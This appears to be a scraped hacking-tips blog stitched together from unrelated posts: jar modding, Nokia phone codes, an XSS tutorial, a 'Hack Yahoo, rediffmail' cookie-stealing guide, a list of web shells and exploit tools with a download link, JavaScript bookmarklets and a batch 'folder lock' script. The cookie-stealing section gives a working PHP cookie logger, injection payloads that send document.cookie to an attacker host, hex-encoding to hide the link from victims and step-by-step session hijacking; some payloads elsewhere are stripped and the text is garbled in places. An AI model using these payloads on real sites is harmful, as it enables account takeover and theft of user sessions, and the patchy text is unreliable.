Test

how To moDD. .jar file iN pC

How to modd .jar file on pc !! follow easy steps enjoy!! Hai frnds i think everyone hea know moddng now so, here is the easiest way to modd java application founded by me you will need only 2 software for this and 1 is already in your pc 1. Winrar as .Jar file is a archive so winrar can open it 2.Notepad STEPS: 1.Open any .jar file with winrar (you will see many class file n sum image) 2.Extract a .Class file to ur dekstop 3.Now make n0tepad to as a default software to open .Class file(bingo nw dats all ) 4.Nw open jar file wid winrar then open .Class file it wil b open in notepad nw edit it. 5.Nw save the archive(click on close it wil ask save or n0t. Save it) your m0dded aplication is ready enjoy pls put comments and hits thanx to encourage

Record souNd at uR pc without Ny soFt.

Record sound at ur p.c. Without using any software *goto RUN or press Window key + R *type sndrec *press enter

noKia All secreT coDes

here is some secret codes of nokia phone hope it helps u. ¤¤¤ ¤¤¤¤¤¤¤¤¤¤¤ code description : these nokia codes will work on most nokia mobile phones (1) *3370# activate enhanced full rate codec (efr) - your phone uses the best sound quality but talk time is reduced my approx. 5% (2) #3370# deactivate enhanced full rate codec (efr) or *3370# ( favourite ) (3) *#4720# activate half rate codec - your phone uses a lower quality sound but you should gain approx 30% more talk time. (4) *#4720# deactivate half rate codec. (5) *#0000# displays your phones software version, 1st line : software version, 2nd line : software release date, 3rd line : compression type. ( favourite ) (6) *#9999# phones software version if *#0000# does not work. (7) *#06# for checking the international mobile equipment identity (imei number). ( favourite ) (8) #pw +1234567890+1# provider lock status. (use the "*" button to obtain the "p,w" and "+" symbols). (9) #pw +1234567890+2# network lock status. (use the "*" button to obtain the "p,w" and "+" symbols). (10) #pw +1234567890+3# country lock status. (use the "*" button to obtain the "p,w" and "+" symbols). (11) #pw +1234567890+4# sim card lock status. (use the "*" button to obtain the "p,w" go to top and "+" symbols). (12) *#147# (vodafone) this lets you know who called you last. (13) *# 1471# last call (only vodofone). (14) *#21# allows you to check the number that "all calls" are diverted to (15) *#2640# displays security code in use. (16) *#30# lets you see the private number. (17) *#43# allows you to check the "call waiting" status of yourphone. (18) *#61# allows you to check the number that "on no reply" calls are diverted to. (19) *#62# allows you to check the number that "divert if unreachable (no service)" calls are diverted to. (20) *#67# allows you to check the number that "on busy calls"are diverted to. (21) *# 67705646# removes operator logo on 3310 & 3330. (22) *# 73# reset phone timers and game scores. (23) *# 746025625# displays the sim clock status, if your phone supports this power saving feature "sim clock stop allowed", it means you will get the best standby time possible. (24) *#7760# manufactures code. (25) *#7780# restore factory settings. (26) *#8110# software version for the nokia 8110. go to top (27) *# 92702689# displays - 1.serial number, 2.date made, 3.purchase date, 4.date of last repair (0000 for no repairs), 5.transfer user data. to exit this mode you need to switch your phone obest4m.com then on again. ( favourite ) (28) *# 94870345123456789# deactivate the pwm-mem. (29) **21*number# turn on"all calls" diverting to the phone number entered. (30) **61*number# turn on"no reply" diverting to the phone number entered. (31) **67*number# turn on"on busy" diverting to the phone number entered. (32) 12345 this is the default security code. press and hold # lets you switch between lines

Cross site scripting(complete tutorial)

::: What is Cross Site Scripting (XSS)? :::
XSS is simply tricking a web server into presenting malicious HTML to the user. Usually the intent is to steal session information.

Scripts may also be used to change the contents of web pages in order to displays false information to the visitor, and it may be used to redirect forms so that secret data are posted to the attacker's computer. XSS generally attacks the user of the web application, not the application itself. The attacks are possible when the web application lacks proper output filtering. We will look into that further down this article.

::: Some Example Exploits :::
Let's begin with a simple example. we'll use the old school web site 'Guestbook' as our example here. In our imaginary guestbook, the user can enter anything they want and then that text is appended to what was there before. Remember when Guestbooks worked like this? Some (actually MANY still do!).

Let's say our villian enters the following:





What happens? Well nothing seems to happen at first, but when his text gets mixed with old and new greetings, the web application will pass this to visitors reading the guest book:



Now look, the villians output appears to be part of the HTML code. Standard compliant browsers will treat < !-- as a start comment marker, and as they don't find any end comment markers, most of them actually hide all text below that of the villain. Not a particularly high-grade attack, but annoying anyway. What would have happened if the attacker instead had entered something like this:



This time, when the guestbook is displayed, the page will attempt to open 10,000 windows that could potentially be porn or other embaressing material.

Now let's look at an example discussion site that our kids may use. The site lacks output filtering and is succeptable to XSS attacks. So our villian enters the following in his message:




If the image is displayed in the browsers of all the kids, the site will surely make the headlines somewhere. And for certain kinds of images, the police may even come knocking on the doors of the unknowing persons running the site. That would suck if you were that person.

Clearly something needs to be done. But before we look at how to prevent this, let's look at some more serious examples.

::: Session Hijacking :::
As cookies are available to a script, Cross-site Scripting may be used to hijack cookie-based sessions. If a bad guy gets access to someone else's session cookie, he may often appear as that someone to the server by installing the cookie in his own browser.

When people hear about XSS-based Session Hijacking for the first time, sometimes they have a hard time understanding how the process works (like my ex-boss for example). It's important to understand under what context the Session ID cookie is available to the attacker's script. As you know, a victim that logs into a site gets a unique Session ID cookie assigned to him. The attacker wants that cookie to impersonate the user (the victim). And he can't get it by tricking the victim into visiting the attacker's own web server: as the domain names do not match, the victim's browser will not send the cookie to him. So, how does the attacker get to the cookie? Well, maybe this graphic will help you.



Simplest possible Session Hijacking example
(clip art courtesy of Vinson Media, thanks Vinny)

The wanted cookie exists only in communication between the victim and the target web server (associated with step 2 in my figure above). For a script to successfully access this cookie, it will have to be included in pages sent from the web server directly to the victim's browser. Let's say the web server in question hosts a discussion application that is vulnerable to XSS because it allows scripts in notes entered by the users (again, you would think that there are not anymore of these, but ohhhhhhhhhhhh there are plenty. Google "sign my guestbook" and search a bit - you will find TONS of sites that are XSS vulnerable).

Anyways, back to our discussion application.

The attacker first joins a discussion, entering a note that contains some cookie-stealing JavaScript (step 1 in the figure). The web server stores the note in its internal database. Later, another user, the victim, logs in to the discussion site. Upon logging in, he receives his personal session ID from the web server. When the user asks to read the attacker's note, the web server builds a web page containing the note text, including the malicious script. This page is then passed to the victim (step 2).

As part of displaying the web page, the victim's browser will also run the script. The script picks up the cookie that is associated with the web page, meaning the cookie containing the session ID, and immediately passes the cookie to the attacker's computer (step 3). After receiving the cookie, the attacker installs it in his own browser, and visits the discussion web server (step 4). The web server receives the stolen session ID from the attacker, and thinks it is talking to the victim. The attacker now fully impersonates the victim on the discussion site. He may post notes in the name of the victim, block him from the site by changing his password, and in some cases even get access to the password of the victim, paving the way to other sites on which the victim uses the same password. See all the havoc that can be caused? Ugh...

Now I will fill in some details for you.

The malicious script makes the browser of the victim pass the cookie to the computer owned by the attacker. Passing the cookie is most easily done using a script that redirects the browser to a web server running on the attacker's computer, taking the cookie with it on the journey. A JavaScript that gives the cookie to the attacker's web server may look like this:



The above script uses document.location.replace to instruct the user's browser to immediately visit another URL, namely steal.php on the attacker's web server. steal.php is a small web application that accepts a what parameter, which the above JavaScript carefully fills in. The what parameter describes what steal.php is supposed to steal. The JavaScript running in the victim's browser assigns the built-in variable document.cookie to this parameter. document.cookie is a JavaScript variable that contains any cookies associated with the connection between the browser executing the script and the server providing the web page. what will thus contain the session ID cookie if such a thing is present.

Obviously the victim will quickly realize that something is going on, as both the URL and the contents of the web page suddenly change. His browser no longer visits the intended web site, but rather that of the attacker. To hide the theft, the attacker's web server may generate a response containing a new redirect that immediately sends the browser back to the original site. If steal.php is supposed to be generic, the attacker may extend it to accept a second parameter called whatnext, a URL that dictates where the second redirect should go. The extended cookie-stealing JavaScript may look somewhat like this:



This time, steal.php accepts two parameters, the what that we have seen before, and the new whatnext which is supposed to contain a URL. The URL given by whatnext is used by steal.php to create a new web page containing another JavaScript that immediately instructs the browser to jump back to the good site. Note the use of an additional cookie named stolen. If this cookie is present, the script will do nothing. Otherwise, the script will add the new stolen cookie. The cookie is added to avoid redirection loops. If the victim is redirected back to the page containing the attacker's script, the script will run again, and redirect a second time to the attacker's server, which in turn redirects back, and so on. With the additional cookie, the initial redirect happens only once. In cases where the attacking script is not stored on the target web server, the loop avoidance code is not needed.

Based on the above script, steal.php would respond with a new web page containing nothing more than this little redirection code:



After giving this redirection to the browser, steal.php will notify the attacker that a new secret has been stolen, maybe by sending him an E-mail. If the attacker is a little bit cunning, he may even program steal.php to exploit the user and the target web site automatically.

Let's sum it all up by this step-by-step overview on XSS-based session hijacking that includes the above "stealth" method:

1. The attacker somehow makes the good site, on which the victim has a session, include a cookie-stealing JavaScript in a page presented to the victim.

2. The victim's browser receives the script from the good site and executes it. The script immediately redirects the browser to the web server of the bad guy, taking the session ID cookie with it as part of the URL.

3. Upon receiving the request, the bad guy's stealing application extracts the cookie from the URL, and generates a reply page containing another redirection script pointing back to the good site.

4. The victim's browser receives the new web page from the attacker's server. It then runs the new redirection script, which asks it to fetch a new page from the good server.

5. The attacker inserts the stolen cookie in his own browser, and connects to the good site. The good site will mistake him for the victim.

The user may see a short flicker, but he will otherwise not be able to tell that his browser paid a quick visit to the attacker's web server. Not even the browser's history will be able to tell the tale, as document.location.replace overwrites the current history entry with the new URL.

::: Stealing Passwords :::
Many log-in scripts redisplay the user name if log-in fails. They generate a new log-in form in which the previously entered user name is filled in, in the belief that it was the password that was entered incorrectly. Quite user friendly, and not at all a bad thing to do. Unless you're vulnerable to XSS.

A system for small payments, created by a large, multi-nationall consulting company in cooperation with a couple of banks, did just that. I read about it about a year and a half ago. And as they did not forbid scripts in the user name, they made it possible to steal other users' passwords via XSS.

The original ASP/VBScript code to redisplay the log-in form after a failed log-in attempt probably looked like this:



If you are ASP programmer, then this should look VERY familiar to you.

You may see that the value attribute of the username input field is set to reflect the user name given in the failed log-in. Unfortunately, this user name is filled in with no handling of metacharacters, making it possible for an attacker to create a separate web page that looks like this:



The page contains an auto-posting form that sends an invalid log-in attempt to the payment site. If you look carefully, you see that the value attribute uses single quotes rather than double quotes to encapsulate the value that makes up the malicious script. HTML allows either single or double quotes. The use of single quotes makes it possible to have double quotes as part of the value. And the double quotes play a major role in this scam: when included in the original log-in form, those double quotes terminate the value attribute of the original input field for the user name. The attacker's log-in attempt, provoked by the above form, gives a user name that looks like this:



When the payment site creates its response page to the invalid log-in, it includes the script code by the attacker (i added space for readability):



Once included in the real log-in page, the script replaces the action attribute of the form so that it posts the user name and password to the attacker's server rather than to the payment site's server.

If the attacker tricks the victim into viewing the first form, and from there to attempt to log-in to the payment site, the attacker gains the user name and the password of the victim.

A side note. Platforms that automatically escape quotes, such as PHP, will make it hard to include JavaScript string constants in incoming data. An attacker may, however, create strings without using quotes, with the help of the fromCharCode method of the JavaScript String object. The method takes a list of character codes, and returns the string built from concatenating the matching characters. As an example, the string constant "ABC" may be replaced with the following, in order to bypass quote filtering:

   String.fromCharCode(65,66,67)

The three numbers are the ASCII values of the characters "A", "B" and "C."

::: The Solution :::
The solution is easy! FILTER YOUR OUTPUT.

With HTML encoding, one maps certain HTML metacharacters to their character entity equivalents. The mapping is done according the following, simple algorithm:

1. Map every occurrence of & (ampersand) to &

2. Then replace every " (double quote) with "

3. Then every < (less than) with <

4. And finally replace every > (greater than) with >

5. If the application uses single quotes to encapsulate tag attributes, you may need to replace the single quote character with ' too.


Chances are that you need not implement this algorithm yourself. Several web programming languages already provide a function for doing the mapping, such as the htmlspecialchars of PHP, and Server.HTMLEncode of ASP/VBScript. Before using one of these built-in functions, you should make sure they actually encode all four characters given above, and also the single quote if you need it.

The implication of doing HTML encoding is that the browser will display data exactly as they were written. Imagine, for instance, a forum for osix mathematicians. When someone enters a note containing 2<3, the browser will run into problems unless it is given the HTML encoded version: 2<3. When given HTML character entities rather than, for instance, less than and greater than characters, the browser will not interpret the entities as tag markers. Anything an attacker (or an osix mathematician) writes will thus be visible in the browser window, rather than being interpreted as markup by the browser. Just something to keep in mind.

::: Tag Filtering (selective) :::
HTML encoding of everything isn't possible in all applications. Take web publishing systems, for instance. The publisher will want to include some markup in order to make paragraphs and headings, to include images and links, and so on. In some publishing systems it may be OK to give the publisher full control, while other systems will have to restrict his actions. Like when the "publisher" is one of thousands of users entering notes in a discussion forum. Similarly for web-based E-mail programs. One will likely want to allow HTML formatted E-mails, without letting those E-mails contain scripts and other potentially harmful code.

So, how do you allow innocent markup while rejecting the bad? Before looking at methods in more detail, let's see how hard it may be to avoid malicious HTML content if we want to allow some markup.

A former ISP of mine offered its customers access to their mailbox through a web based E-mail program, similar to Hotmail. Since they allowed HTML formatted E-mails, they couldn't use plain HTML encoding when displaying the contents of the mails. Instead they had to do some filtering. As always, I was curious: I wanted to check whether they successfully removed scripts from mails before viewing them in the users' browsers. So I sent myself some E-mails, and found that they were actually quite good at filtering. Except for one thing: if my E-mail contained the following code, I was able to have a script run in the receiver's browser:

<body onload="alert('gotcha')">

They had forgotten about the onload attribute of the body tag, and my browser gave me a nice little alert box with "foobar" in it as I read the mail. Next test: one of my friends happened to be customer of the same ISP, and he agreed to help me out. I sent him an E-mail with that body tag in it, but this time the alert statement was replaced by a session-stealing script like I talked about above. As soon as he read my mail, I received his session cookie. I immediately updated my Netscape Navigator's cookies file to include the cookie, and told Navigator to visit the E-mail web site of the ISP. This time I didn't see my own mailbox. Instead the E-mail application thought I was my friend, and I was able to read his E-mails, and send new mails from his account. And it all worked even if HTTPS was used by both my friend and me. True story, no shit.

Similar problems have been found in several on-line E-mail services, including even Hotmail, and in popular discussion applications. In 2002, XSS-related vulnerabilities were reported almost daily to international security mailing lists. Still are today.

Allowing some markup but not all is hard, because there are so many ways to insert scripts in an HTML document other than using the obvious script tag. What follows are a few examples on how scripts may be included. Some examples contain the word ANY as part of the tag or of an attribute: ANY may be replaced by any tag or attribute name, even illegal ones, and the script inclusion will still work.

For starters, you have that well-known script tag that is understood by any browser supporting client-side scripting:



Then, with the venerable Netscape Navigator, you can even use style tags to enclose a script:



In 2001, some kid reported that the popular Hotmail service was vulnerable to the latter style tag attack by sending them an E-mail.

And if you happen to come across a Microsoft Internet Explorer, you may include a script with any tag, as long as you're able to add a style attribute:

   < ANY style=" ANY: expression(eval('alert('script')'))"/>
   

To make things harder, both Navigator and Internet Explorer support JavaScript URLs as well:

   <img src="javascript:alert('script');"/>
   

OK, so we need to look at the attribute values too, not just the tags. The simple approach would be to filter out any occurrence of javascript: that one would find as part of a URL. Unfortunately, that would not be enough. Those forgiving browsers, for reasons unknown, let you break the javascript keyword with white space, and they still run the script:

   <img src="java
   script:alert('script');"/>

Oh well, then we'll have to filter based on white space too. But wait, there's more. The browsers are really forgiving: they even let you represent the white space using HTML character entities, and they still parse the string as a JavaScript URL:

   <img src="java script:alert('script');"/>

By the way, Navigator is not the only browser to support encapsulation of scripts in style tags as seen above. With those helpful JavaScript URLs, Internet Explorer is vulnerable too:

   <style type="text/css">
      @import url(javascript:alert('script'));</style>

Unfortunately, browsers do not care about whether the HTML document is well-formed or not. You may include, for example, body tags anywhere, including inside the document body. And as seen above, body tags accept an onload attribute that may contain a script. The lightweight, fast, and standard-compliant Opera , the open-source and standard-compliant Mozilla, the age-old but still not-quite-dead Netscape Navigator and the often-used Internet Explorer all execute a script when they encounter the following tag anywhere inside a document:

   <body onload="alert('script')">

And then, of course, you have onclick, ondblclick, onmousedown, onkeypress and all the other on attributes that may be added to most tags.

And as if all the above wasn't enough, old (before version 5) Netscape Navigators support what has been called JavaScript entities:

   < ANY ANY="&{alert(' script');};"/>

Anything between &{and}; in a tag attribute will be interpreted as a script. A very good reason why the & character should be transformed into its HTML character entity representation too.

There are probably many more ways to insert scripts in all the browsers out there. If you want to allow some markup, beware that avoiding scripting may be very hard.

Let's see what to do when we want to keep the good tags while getting rid of the bad. We will need to parse the HTML much like the browser does to find the tags. If we find a tag we don't like, we have several possible approaches on how to handle it, depending on the application:

We could HTML encode the entire tag. The result would be that the end user would see what tag someone had written, without having the tag interpreted by the browser. May be a good alternative when we know that no bad tags should be present at all, for instance when writing a web-based E-mail application.

We could remove the entire tag. In that case it is probably a good idea to repeat the washing process until no more changes are done, otherwise we risk that <scr<script>ipt> becomes <script>, for example. Removing things in a single iteration may be dangerous.

We could rename the tag so that <script> becomes <disabled-script>, for instance. The latter is not understood by the browsers, so it will be ignored. It is still possible to spot the unwanted tag by taking a look at the HTML source.

So much for the bad tags. But what about the good ones? The ones we want to keep? It could be tempting to just include them directly, but after seeing all the examples above, we probably know that even good tags may carry malicious attributes. So here we go again. For each good tag, we need to parse the attributes to separate the good from the bad. The onclick attribute and friends, for instance, should always be considered bad if we want to avoid scripts. Bad attributes could be removed, or they could be renamed to something harmless.

But what about the good attributes? Could we just include them? Nope! We need an additional step. If we want to allow the img tag, we clearly want to allow the src attribute, as it specifies the URL of the image. But as you have seen above, URLs are not always good, for instance when the method is javascript rather than http, ftp, file or something similar. And for Netscape Navigator, any attribute may be bad if the value contains &{...};. So, for good attributes, we even need to analyze the value. And that analysis must cope with HTML character entities to treat javascript: and javascript, for example, as the same (97 is decimal ASCII for the lower case character ‘a'). In addition, the values must be considered depending on the context: javascript: is no problem in the value attribute of an input tag of type text, but it may be troublesome in the src attribute of an input tag of type image. Quite some focus needed. A lot of focus actually, and a clear understanding of how different tags and attributes will be handled by the browsers.

We've been talking about good and bad tags, attributes and attribute values. How do we decide what is good and what is bad? Let's look at some psuedocode:

Hack Yahoo,rediffmail(Xss cookie stealing method,working)

Introduction

I thought it was about time for someone to post a cookie stealing tutorial, so I decided to write one for you from the ground up.

NOTE: Again... this was written to educate you on the security aspects of the following information, not to teach you how to break the law or do something stupid. Use what you learn from this to make your website more secure/use better browsing habits, not break into other websites.

Background

First, make sure you've read these two articles because I'm going to assume you already understand everything written in them:

XSS Complete Guide
All About Cookies and Security

Now we need to understand a bit more about how XSS actually works before moving on. From the above article, you already know a bit of the theory behind XSS, so we'll get right to the code. Let's say a web page has a search function that uses this code:

Code:

<tr><td>Name</td><td><input type="text" name="advisor_name" value=""></td></tr>

We want to exploit this page using XSS. How do we do that? We know that we want to inject our own script into the value field (this field is tied to the search box we can enter text into). We could start by using a test script:

Code:

<script>alert("test")</script>

When we enter this into the search box and click search, nothing happens. Why? It's still inside the value quotes, which turn the entire script into plaintext. If you look at the page source now, you see that the above portion of code now looks like this:

Code:

<tr><td>Name</td><td><input type="text" name="advisor_name" value="<script>alert("test")</script>"></td></tr>

Note the quotes around our script. So what do we do? We need to end the value field before our script can actually be executed. So we tweak our test injection a bit:

Code:

"><script>alert("test")</script>

This should close the quotes end the input section so that our script can be rendered as a part of the source instead of plaintext. And now when we hit enter we get a nice pop-up box saying "test", showing us our script was executed. Keep in mind that you're not actually writing this data to the server (unless you're injecting it with a script that actually modifies the page on the server's end also, like a guestbook or comment script), just changing how the dynamic page is acting on your end. If you want someone else to see what you see when you use this injection, you need to send them the link with that injection already in the page. For example,

Code:

http://www.site.com/search.php?q="><script>alert("test")</script>

Of course, if you don't want the recipient to see the injection, you'll need to hex the query. You can do that here:

Code:

http://centricle.com/tools/ascii-hex/

Hexing the query of this url gives us

Code:

http://www.site.com/search.php?q=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%74%65%73%74%22%29%3c%2 f%73%63%72%69%70%74%3e

The above is a very simple case of finding an XSS injection vulnerability. Some html and javascript knowledge is definitely helpful for finding more complicated ones, but code like the above works often enough.

Using XSS to Steal Cookies

OK, so now you know the page is vulnerable to XSS injection. Great. Now what? You want to make it do something useful, like steal cookies. Cookie stealing is when you insert a script into the page so that everyone that views the modified page inadvertently sends you their session cookie. By modifying your session cookie (see the above linked tutorial), you can impersonate any user who viewed the modified page. So how do you use XSS to steal cookies?

The easiest way is to use a three-step process consisting of the injected script, the cookie recorder, and the log file.

First you'll need to get an account on a server and create two files, log.txt and whateveryouwant.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (whateveryouwant.php):

Code:

<?php 

function GetIP() 
{ 
 if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
  $ip = getenv("HTTP_CLIENT_IP"); 
 else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
  $ip = getenv("HTTP_X_FORWARDED_FOR"); 
 else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
  $ip = getenv("REMOTE_ADDR"); 
 else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
  $ip = $_SERVER['REMOTE_ADDR']; 
 else 
  $ip = "unknown"; 
 return($ip); 
} 

function logData() 
{ 
 $ipLog="log.txt"; 
 $cookie = $_SERVER['QUERY_STRING']; 
 $register_globals = (bool) ini_get('register_gobals'); 
 if ($register_globals) $ip = getenv('REMOTE_ADDR'); 
 else $ip = GetIP(); 

 $rem_port = $_SERVER['REMOTE_PORT']; 
 $user_agent = $_SERVER['HTTP_USER_AGENT']; 
 $rqst_method = $_SERVER['METHOD']; 
 $rem_host = $_SERVER['REMOTE_HOST']; 
 $referer = $_SERVER['HTTP_REFERER']; 
 $date=date ("l dS of F Y h:i:s A"); 
 $log=fopen("$ipLog", "a+"); 

 if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) 
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>"); 
 else 
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n"); 
 fclose($log); 
} 

logData(); 

?>

This script will record the cookies of every user that views it.

Now we need to get the vulnerable page to access this script. We can do that by modifying our earlier injection:

Code:

"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>

yoursite.com is the server you're hosting your cookie stealer and log file on, and whateversite.com is the vulnerable page you're exploiting. The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don't know anything happened. Note that this injection will only work properly if you aren't actually modifying the page source on the server's end. Otherwise the unmodified page will actually be the modified page and you'll end up in an endless loop. While this is a working solution, we could eliminate this potential issue when using source-modifying injections by having the user click a link that redirects them to our stealer:

Code:

"><a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>

This will eliminate the looping problem since the user has to cilck on it for it to work, and it's only a one-way link. Of course, then the user's trail ends at your cookie stealing script, so you'd need to modify that code a little to keep them from suspecting what's going on. You Could just add some text to the page saying something like "under construction" by changing the end of our php script from this:

Code:

logData(); 
?>

to this:

Code:

logData();

echo '<b>Page Under Construction</b>'
?>

Now when you open log.txt, you should see something like this:

Code:

IP: 125.16.48.169 | PORT: 56840 | HOST:  |  Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD:  | REF: http://www.ifa.org.nz/search.php |  

DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE:  cookie=PHPSESSID=889c6594db2541db1666cefca7537373

You will most likely see many other fields besides PHPSESSID, but this one is good enough for this example. Now remember how to edit cookies like I showed you earlier? Open up firebug and add/modify all your cookie's fields to match the data from the cookie in your log file and refresh the page. The server thinks you're the user you stole the cookie from. This way you can log into accounts and many other things without even needing to know the passwords or usernames.

Summary

So in summary:
1. Test the page to make sure it's vulnerable to XSS injections.
2. Once you know it's vulnerable, upload the cookie stealer php file and log file to your server.
3. Insert the injection into the page via the url or text box.
4. Grab the link of that page with your exploited search query (if injection is not stored on the server's copy of the page).
5. Get someone to use that link if necessary.
6. Check your log file for their cookie.
7. Modify your own cookie to match the captured one and refresh the page.

Hacking tooL for Xss(yahoo hac.k)anD sqL injecTion(website hakk)

More Hacking Tools For XSS and SQL Injection
Apache Hacking TooLz Directory:
Apache Chunked Scanner
Apache Hacker Tool v 2.0
Apache H4x0r Script


Remote File Inclusion And Remote Command Execution Directory:
IIS 5 Dav Scanner & Exploiter
PHP Attacker
PHP Injection Scanner & Exploiter
XML-RPC Scanner & Exploiter


Databases & SQL Injection & XSS TooLz Directory
Casi 4.0
ForceSQL
Mssql BruteForce TooL
SQL Ping 2
SQL Recon
SQL Vuln Scanner
SQL & XSS TooL


PHP Shells
c99shell #16
Backdoor php v0.1
r57shell
ajan
casus15
cmd (asp)
CyberEye (asp)
CyberSpy5 (asp)
Indexer (asp)
Ntdaddy (asp)
News Remote PHP Shell Injection
PHP Shell
phpRemoteView

http://rapidshare.com/files/132986898/SQL_InjecTion___XSS_TooLz.rar

goog le rare t rick

Google Special Trick



1. Go to:

Code:
Google
2. Click "images"

3. Fill in "bikes, flowers, cars" or any other word (As You Wish..)

4. You will get a page with alot of images Thumbnailed.


5. Now Delete the URL on the addressbar.

Example : (The Url Will Be Something Like The Below One ) [Delete It]

Code:

Code:
http://images.google.nl/images?hl=nl&q=flowers&btnG=Afbeeldingen+zoeken&gbv=2


6. Copy Any Of the script down here, and paste it in your adressbar !



Code:
java script:R= 0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math. sin(R*x1+ i*x2+x3)* x4+x5; DIS.top=Math. cos(R*y1+ i*y2+y3)* y4+y5}R++ }setInterval('A()',5); void(0)



Code:
java script:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+ "px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+" px"}R++}setInterval( 'A()',5); void(0);


Code:
java script:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3 )*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3) *y4+y5}R++ }setInterval('A()',5); void(0);


7. Press Enter

create a Password protected folder without ny softWARE

Quote:
@ECHO OFF
title Folder Personal
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Personal goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Personal "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK

echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==pwd123 HERE goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Personal
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Personal
echo Personal created successfully
goto End
:End






uper diye hua code ko copy karlo or phir ishe notepade me pest karo bad me save kardo or phir XXX.txt ke rename karke XXXX.BAT file kardo bad me ushe open karo aapka naya folder bangaya honga yaha pe personal diya he ushki jagah tum aapna name de shakte ho bad me tum ush folder me aapna data rakha do or phir ushe XXX.bat file open karo bad me aapko msg aayenga
are you sure u want to lock the folder(Y/N]
bad me y press kardo or hit Enter aapka folder lock ho jayenga